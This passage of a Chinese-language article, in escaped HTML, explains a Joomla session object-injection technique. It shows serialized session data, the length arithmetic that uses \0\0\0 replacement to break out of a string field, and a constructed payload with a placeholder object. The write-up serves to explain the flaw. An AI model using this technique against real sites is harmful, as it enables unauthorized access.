Edg/91.0.864.64&amp;quot;;s:8:&amp;quot;registry&amp;quot;;O:24:&amp;quot;Joomla\Registry\Registry&amp;quot;:2:{s:7:&amp;quot;\0\0\0data&amp;quot;;O:8:&amp;quot;stdClass&amp;quot;:0:{}s:9:&amp;quot;separator&amp;quot;;s:1:&amp;quot;.&amp;quot;;}s:4:&amp;quot;user&amp;quot;;O:5:&amp;quot;JUser&amp;quot;:26:{s:9:&amp;quot;\0\0\0isRoot&amp;quot;;b:0;s:2:&amp;quot;id&amp;quot;;i:0;s:4:&amp;quot;name&amp;quot;;N;s:8:&amp;quot;username&amp;quot;;N;s:5:&amp;quot;email&amp;quot;;N;s:8:&amp;quot;password&amp;quot;;N;s:14:&amp;quot;password_clear&amp;quot;;s:0:&amp;quot;&amp;quot;;s:5:&amp;quot;block&amp;quot;;N;s:9:&amp;quot;sendEmail&amp;quot;;i:0;s:12:&amp;quot;registerDate&amp;quot;;N;s:13:&amp;quot;lastvisitDate&amp;quot;;N;s:10:&amp;quot;activation&amp;quot;;N;s:6:&amp;quot;params&amp;quot;;N;s:6:&amp;quot;groups&amp;quot;;a:1:{i:0;s:1:&amp;quot;9&amp;quot;;}s:5:&amp;quot;guest&amp;quot;;i:1;s:13:&amp;quot;lastResetTime&amp;quot;;N;s:10:&amp;quot;resetCount&amp;quot;;N;s:12:&amp;quot;requireReset&amp;quot;;N;s:10:&amp;quot;\0\0\0_params&amp;quot;;O:24:&amp;quot;Joomla\Registry\Registry&amp;quot;:2:{s:7:&amp;quot;\0\0\0data&amp;quot;;O:8:&amp;quot;stdClass&amp;quot;:0:{}s:9:&amp;quot;separator&amp;quot;;s:1:&amp;quot;.&amp;quot;;}s:14:&amp;quot;\0\0\0_authGroups&amp;quot;;a:2:{i:0;i:1;i:1;i:9;}s:14:&amp;quot;\0\0\0_authLevels&amp;quot;;a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:&amp;quot;\0\0\0_authActions&amp;quot;;N;s:12:&amp;quot;\0\0\0_errorMsg&amp;quot;;N;s:13:&amp;quot;\0\0\0userHelper&amp;quot;;O:18:&amp;quot;JUserWrapperHelper&amp;quot;:0:{}s:10:&amp;quot;\0\0\0_errors&amp;quot;;a:0:{}s:3:&amp;quot;aid&amp;quot;;i:0;}s:13:&amp;quot;session.token&amp;quot;;s:32:&amp;quot;56bb4f43d168909f6df0e1a50fd84b17&amp;quot;;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这里需要注意的是，php序列化session用的方法和&lt;code&gt;serialize&lt;/code&gt;方法是不完全一样的，它的一般格式为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;key&lt;span class="p"&gt;|&lt;/span&gt;serialize&lt;span class="w"&gt; &lt;/span&gt;data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;biaojigaoliang1除了前面的键和&lt;code&gt;|&lt;/code&gt;，后面的序列化数据和&lt;code&gt;serialize&lt;/code&gt;函数产生的序列化数据是一致的biaojigaoliang2&lt;/p&gt;
&lt;p&gt;对于对象的序列化，不同的权限修饰符下的成员变量序列化之后的数据也是有差异的：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestClass&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;PermissionDecorator&lt;/span&gt; &lt;span class="nv"&gt;$testMember&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="fm"&gt;__construct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;testMember&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;TestClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;fuckyou&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;public：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;&amp;quot;O:9:&amp;quot;&lt;/span&gt;TestClass&lt;span class="s2"&gt;&amp;quot;:1:{s:10:&amp;quot;&lt;/span&gt;testMember&lt;span class="s2"&gt;&amp;quot;;s:7:&amp;quot;&lt;/span&gt;fuckyou&lt;span class="s2"&gt;&amp;quot;;}&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;protected：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;&amp;quot;O:9:&amp;quot;&lt;/span&gt;TestClass&lt;span class="s2"&gt;&amp;quot;:1:{s:13:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;*&lt;span class="se"&gt;\x&lt;/span&gt;00testMember&lt;span class="s2"&gt;&amp;quot;;s:7:&amp;quot;&lt;/span&gt;fuckyou&lt;span class="s2"&gt;&amp;quot;;}&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;private：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;&amp;quot;O:9:&amp;quot;&lt;/span&gt;TestClass&lt;span class="s2"&gt;&amp;quot;:1:{s:21:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;00TestClass&lt;span class="se"&gt;\x&lt;/span&gt;00testMember&lt;span class="s2"&gt;&amp;quot;;s:7:&amp;quot;&lt;/span&gt;fuckyou&lt;span class="s2"&gt;&amp;quot;;}&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;准备对象构造&lt;/h2&gt;
&lt;p&gt;我们先来看一下正常的user-agent和x-forwarded-for序列化之后的样子&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;__default&lt;span class="p"&gt;|&lt;/span&gt;a:9:&lt;span class="o"&gt;{&lt;/span&gt;s:15:&lt;span class="s2"&gt;&amp;quot;session.counter&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1&lt;span class="p"&gt;;&lt;/span&gt;s:19:&lt;span class="s2"&gt;&amp;quot;session.timer.start&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1625766121&lt;span class="p"&gt;;&lt;/span&gt;s:18:&lt;span class="s2"&gt;&amp;quot;session.timer.last&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1625766121&lt;span class="p"&gt;;&lt;/span&gt;s:17:&lt;span class="s2"&gt;&amp;quot;session.timer.now&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1625766121&lt;span class="p"&gt;;&lt;/span&gt;s:24:&lt;span class="s2"&gt;&amp;quot;session.client.forwarded&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:23:&lt;span class="s2"&gt;&amp;quot;normal_x_for_warded_for&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:22:&lt;span class="s2"&gt;&amp;quot;session.client.browser&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:17:&lt;span class="s2"&gt;&amp;quot;normal_user_agent&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:8:&lt;span class="s2"&gt;&amp;quot;registry&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;O:24:&lt;span class="s2"&gt;&amp;quot;Joomla\Registry\Registry&amp;quot;&lt;/span&gt;:2:&lt;span class="o"&gt;{&lt;/span&gt;s:7:&lt;span class="s2"&gt;&amp;quot;\0\0\0data&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;O:8:&lt;span class="s2"&gt;&amp;quot;stdClass&amp;quot;&lt;/span&gt;:0:&lt;span class="o"&gt;{}&lt;/span&gt;s:9:&lt;span class="s2"&gt;&amp;quot;separator&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:1:&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;s:4:&lt;span class="s2"&gt;&amp;quot;user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;O:5:&lt;span class="s2"&gt;&amp;quot;JUser&amp;quot;&lt;/span&gt;:26:&lt;span class="o"&gt;{&lt;/span&gt;s:9:&lt;span class="s2"&gt;&amp;quot;\0\0\0isRoot&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;b:0&lt;span class="p"&gt;;&lt;/span&gt;s:2:&lt;span class="s2"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:0&lt;span class="p"&gt;;&lt;/span&gt;s:4:&lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:8:&lt;span class="s2"&gt;&amp;quot;username&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:5:&lt;span class="s2"&gt;&amp;quot;email&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:8:&lt;span class="s2"&gt;&amp;quot;password&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:14:&lt;span class="s2"&gt;&amp;quot;password_clear&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:0:&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:5:&lt;span class="s2"&gt;&amp;quot;block&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:9:&lt;span class="s2"&gt;&amp;quot;sendEmail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:0&lt;span class="p"&gt;;&lt;/span&gt;s:12:&lt;span class="s2"&gt;&amp;quot;registerDate&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:13:&lt;span class="s2"&gt;&amp;quot;lastvisitDate&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:10:&lt;span class="s2"&gt;&amp;quot;activation&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:6:&lt;span class="s2"&gt;&amp;quot;params&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:6:&lt;span class="s2"&gt;&amp;quot;groups&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;a:1:&lt;span class="o"&gt;{&lt;/span&gt;i:0&lt;span class="p"&gt;;&lt;/span&gt;s:1:&lt;span class="s2"&gt;&amp;quot;9&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;s:5:&lt;span class="s2"&gt;&amp;quot;guest&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1&lt;span class="p"&gt;;&lt;/span&gt;s:13:&lt;span class="s2"&gt;&amp;quot;lastResetTime&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:10:&lt;span class="s2"&gt;&amp;quot;resetCount&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:12:&lt;span class="s2"&gt;&amp;quot;requireReset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:10:&lt;span class="s2"&gt;&amp;quot;\0\0\0_params&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;O:24:&lt;span class="s2"&gt;&amp;quot;Joomla\Registry\Registry&amp;quot;&lt;/span&gt;:2:&lt;span class="o"&gt;{&lt;/span&gt;s:7:&lt;span class="s2"&gt;&amp;quot;\0\0\0data&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;O:8:&lt;span class="s2"&gt;&amp;quot;stdClass&amp;quot;&lt;/span&gt;:0:&lt;span class="o"&gt;{}&lt;/span&gt;s:9:&lt;span class="s2"&gt;&amp;quot;separator&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:1:&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;s:14:&lt;span class="s2"&gt;&amp;quot;\0\0\0_authGroups&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;a:2:&lt;span class="o"&gt;{&lt;/span&gt;i:0&lt;span class="p"&gt;;&lt;/span&gt;i:1&lt;span class="p"&gt;;&lt;/span&gt;i:1&lt;span class="p"&gt;;&lt;/span&gt;i:9&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;s:14:&lt;span class="s2"&gt;&amp;quot;\0\0\0_authLevels&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;a:3:&lt;span class="o"&gt;{&lt;/span&gt;i:0&lt;span class="p"&gt;;&lt;/span&gt;i:1&lt;span class="p"&gt;;&lt;/span&gt;i:1&lt;span class="p"&gt;;&lt;/span&gt;i:1&lt;span class="p"&gt;;&lt;/span&gt;i:2&lt;span class="p"&gt;;&lt;/span&gt;i:5&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;s:15:&lt;span class="s2"&gt;&amp;quot;\0\0\0_authActions&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:12:&lt;span class="s2"&gt;&amp;quot;\0\0\0_errorMsg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;N&lt;span class="p"&gt;;&lt;/span&gt;s:13:&lt;span class="s2"&gt;&amp;quot;\0\0\0userHelper&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;O:18:&lt;span class="s2"&gt;&amp;quot;JUserWrapperHelper&amp;quot;&lt;/span&gt;:0:&lt;span class="o"&gt;{}&lt;/span&gt;s:10:&lt;span class="s2"&gt;&amp;quot;\0\0\0_errors&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;a:0:&lt;span class="o"&gt;{}&lt;/span&gt;s:3:&lt;span class="s2"&gt;&amp;quot;aid&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:0&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;s:13:&lt;span class="s2"&gt;&amp;quot;session.token&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:32:&lt;span class="s2"&gt;&amp;quot;633f966f72f7287671a24606baed1113&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;session.client.forwarded&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;normal_x_for_warded_for&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;session.client.browser&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;normal_user_agent&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果把上面的&lt;code&gt;normal_user_agent&lt;/code&gt;替换成&lt;code&gt;normal_user_agent";SerializedObject&lt;/code&gt;，那么我们就有可能完成对象的注入，唯一的问题是前面有一个&lt;code&gt;s:17&lt;/code&gt;限制我们的长度，导致session反序列化失败，无法完成对象注入&lt;/p&gt;
&lt;p&gt;结合前面的&lt;code&gt;\0\0\0&lt;/code&gt;替换漏洞，我们可以往&lt;code&gt;ormal_x_for_warded_for&lt;/code&gt;中添加若干组&lt;code&gt;\0\0\0&lt;/code&gt;来扩大&lt;code&gt;s:23&lt;/code&gt;中的&lt;code&gt;23&lt;/code&gt;，以囊括&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;session.client.forwarded&lt;span class="s2"&gt;&amp;quot;;s:23:&amp;quot;&lt;/span&gt;normal_x_for_warded_for&lt;span class="s2"&gt;&amp;quot;;s:22:&amp;quot;&lt;/span&gt;session.client.browser&lt;span class="s2"&gt;&amp;quot;;s:17:&amp;quot;&lt;/span&gt;normal_user_agent
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;其实就是一个简单的方程式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;6x&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;3x&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;55&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;23&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;3x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;55&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;23&lt;/code&gt;是&lt;code&gt;normal_x_for_warded_for&lt;/code&gt;的长度，&lt;code&gt;55&lt;/code&gt;是&lt;code&gt;";s:22:"session.client.browser";s:17:"normal_user_agent&lt;/code&gt;的长度&lt;/p&gt;
&lt;p&gt;除不尽，只需要往&lt;code&gt;normal_user_agent&lt;/code&gt;再加2个字符即可；&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;3x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;57&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&amp;gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这是构造完的http请求对应的session数据&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;hj__default&lt;span class="p"&gt;|&lt;/span&gt;a:9:&lt;span class="o"&gt;{&lt;/span&gt;s:15:&lt;span class="s2"&gt;&amp;quot;session.counter&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1&lt;span class="p"&gt;;&lt;/span&gt;s:19:&lt;span class="s2"&gt;&amp;quot;session.timer.start&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1625767987&lt;span class="p"&gt;;&lt;/span&gt;s:18:&lt;span class="s2"&gt;&amp;quot;session.timer.last&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1625767987&lt;span class="p"&gt;;&lt;/span&gt;s:17:&lt;span class="s2"&gt;&amp;quot;session.timer.now&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;i:1625767987&lt;span class="p"&gt;;&lt;/span&gt;s:24:&lt;span class="s2"&gt;&amp;quot;session.client.forwarded&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:137:&lt;span class="s2"&gt;&amp;quot;normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:22:&lt;span class="s2"&gt;&amp;quot;session.client.browser&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s:33:&lt;span class="s2"&gt;&amp;quot;normal_user_agent12&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;ObjectInject&lt;span class="s2"&gt;&amp;quot;;s:8:&amp;quot;&lt;/span&gt;registry&lt;span class="s2"&gt;&amp;quot;;O:24:&amp;quot;&lt;/span&gt;Joomla&lt;span class="se"&gt;\R&lt;/span&gt;egistry&lt;span class="se"&gt;\R&lt;/span&gt;egistry&lt;span class="s2"&gt;&amp;quot;:2:{s:7:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;data&lt;span class="s2"&gt;&amp;quot;;O:8:&amp;quot;&lt;/span&gt;stdClass&lt;span class="s2"&gt;&amp;quot;:0:{}s:9:&amp;quot;&lt;/span&gt;separator&lt;span class="s2"&gt;&amp;quot;;s:1:&amp;quot;&lt;/span&gt;.&lt;span class="s2"&gt;&amp;quot;;}s:4:&amp;quot;&lt;/span&gt;user&lt;span class="s2"&gt;&amp;quot;;O:5:&amp;quot;&lt;/span&gt;JUser&lt;span class="s2"&gt;&amp;quot;:26:{s:9:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;isRoot&lt;span class="s2"&gt;&amp;quot;;b:0;s:2:&amp;quot;&lt;/span&gt;id&lt;span class="s2"&gt;&amp;quot;;i:0;s:4:&amp;quot;&lt;/span&gt;name&lt;span class="s2"&gt;&amp;quot;;N;s:8:&amp;quot;&lt;/span&gt;username&lt;span class="s2"&gt;&amp;quot;;N;s:5:&amp;quot;&lt;/span&gt;email&lt;span class="s2"&gt;&amp;quot;;N;s:8:&amp;quot;&lt;/span&gt;password&lt;span class="s2"&gt;&amp;quot;;N;s:14:&amp;quot;&lt;/span&gt;password_clear&lt;span class="s2"&gt;&amp;quot;;s:0:&amp;quot;&amp;quot;;s:5:&amp;quot;&lt;/span&gt;block&lt;span class="s2"&gt;&amp;quot;;N;s:9:&amp;quot;&lt;/span&gt;sendEmail&lt;span class="s2"&gt;&amp;quot;;i:0;s:12:&amp;quot;&lt;/span&gt;registerDate&lt;span class="s2"&gt;&amp;quot;;N;s:13:&amp;quot;&lt;/span&gt;lastvisitDate&lt;span class="s2"&gt;&amp;quot;;N;s:10:&amp;quot;&lt;/span&gt;activation&lt;span class="s2"&gt;&amp;quot;;N;s:6:&amp;quot;&lt;/span&gt;params&lt;span class="s2"&gt;&amp;quot;;N;s:6:&amp;quot;&lt;/span&gt;groups&lt;span class="s2"&gt;&amp;quot;;a:1:{i:0;s:1:&amp;quot;&lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;;}s:5:&amp;quot;&lt;/span&gt;guest&lt;span class="s2"&gt;&amp;quot;;i:1;s:13:&amp;quot;&lt;/span&gt;lastResetTime&lt;span class="s2"&gt;&amp;quot;;N;s:10:&amp;quot;&lt;/span&gt;resetCount&lt;span class="s2"&gt;&amp;quot;;N;s:12:&amp;quot;&lt;/span&gt;requireReset&lt;span class="s2"&gt;&amp;quot;;N;s:10:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;_params&lt;span class="s2"&gt;&amp;quot;;O:24:&amp;quot;&lt;/span&gt;Joomla&lt;span class="se"&gt;\R&lt;/span&gt;egistry&lt;span class="se"&gt;\R&lt;/span&gt;egistry&lt;span class="s2"&gt;&amp;quot;:2:{s:7:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;data&lt;span class="s2"&gt;&amp;quot;;O:8:&amp;quot;&lt;/span&gt;stdClass&lt;span class="s2"&gt;&amp;quot;:0:{}s:9:&amp;quot;&lt;/span&gt;separator&lt;span class="s2"&gt;&amp;quot;;s:1:&amp;quot;&lt;/span&gt;.&lt;span class="s2"&gt;&amp;quot;;}s:14:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;_authGroups&lt;span class="s2"&gt;&amp;quot;;a:2:{i:0;i:1;i:1;i:9;}s:14:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;_authLevels&lt;span class="s2"&gt;&amp;quot;;a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;_authActions&lt;span class="s2"&gt;&amp;quot;;N;s:12:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;_errorMsg&lt;span class="s2"&gt;&amp;quot;;N;s:13:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;userHelper&lt;span class="s2"&gt;&amp;quot;;O:18:&amp;quot;&lt;/span&gt;JUserWrapperHelper&lt;span class="s2"&gt;&amp;quot;:0:{}s:10:&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\0\0\0&lt;/span&gt;_errors&lt;span class="s2"&gt;&amp;quot;;a:0:{}s:3:&amp;quot;&lt;/span&gt;aid&lt;span class="s2"&gt;&amp;quot;;i:0;}s:13:&amp;quot;&lt;/span&gt;session.token&lt;span class="s2"&gt;&amp;quot;;s:32:&amp;quot;&lt;/span&gt;b4131b29f0fae45b8d98576b25ceb35a&lt;span class="s2"&gt;&amp;quot;;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Joomla在read session数据时，将&lt;code&gt;\0\0\0&lt;/code&gt;替换成&lt;code&gt;Null*Null&lt;/code&gt;，也就是将6字节缩短为3字节，那么上面数据中的&lt;code&gt;137&lt;/code&gt;也就缩短为&lt;code&gt;80&lt;/code&gt;了，加上后面的&lt;/p&gt;
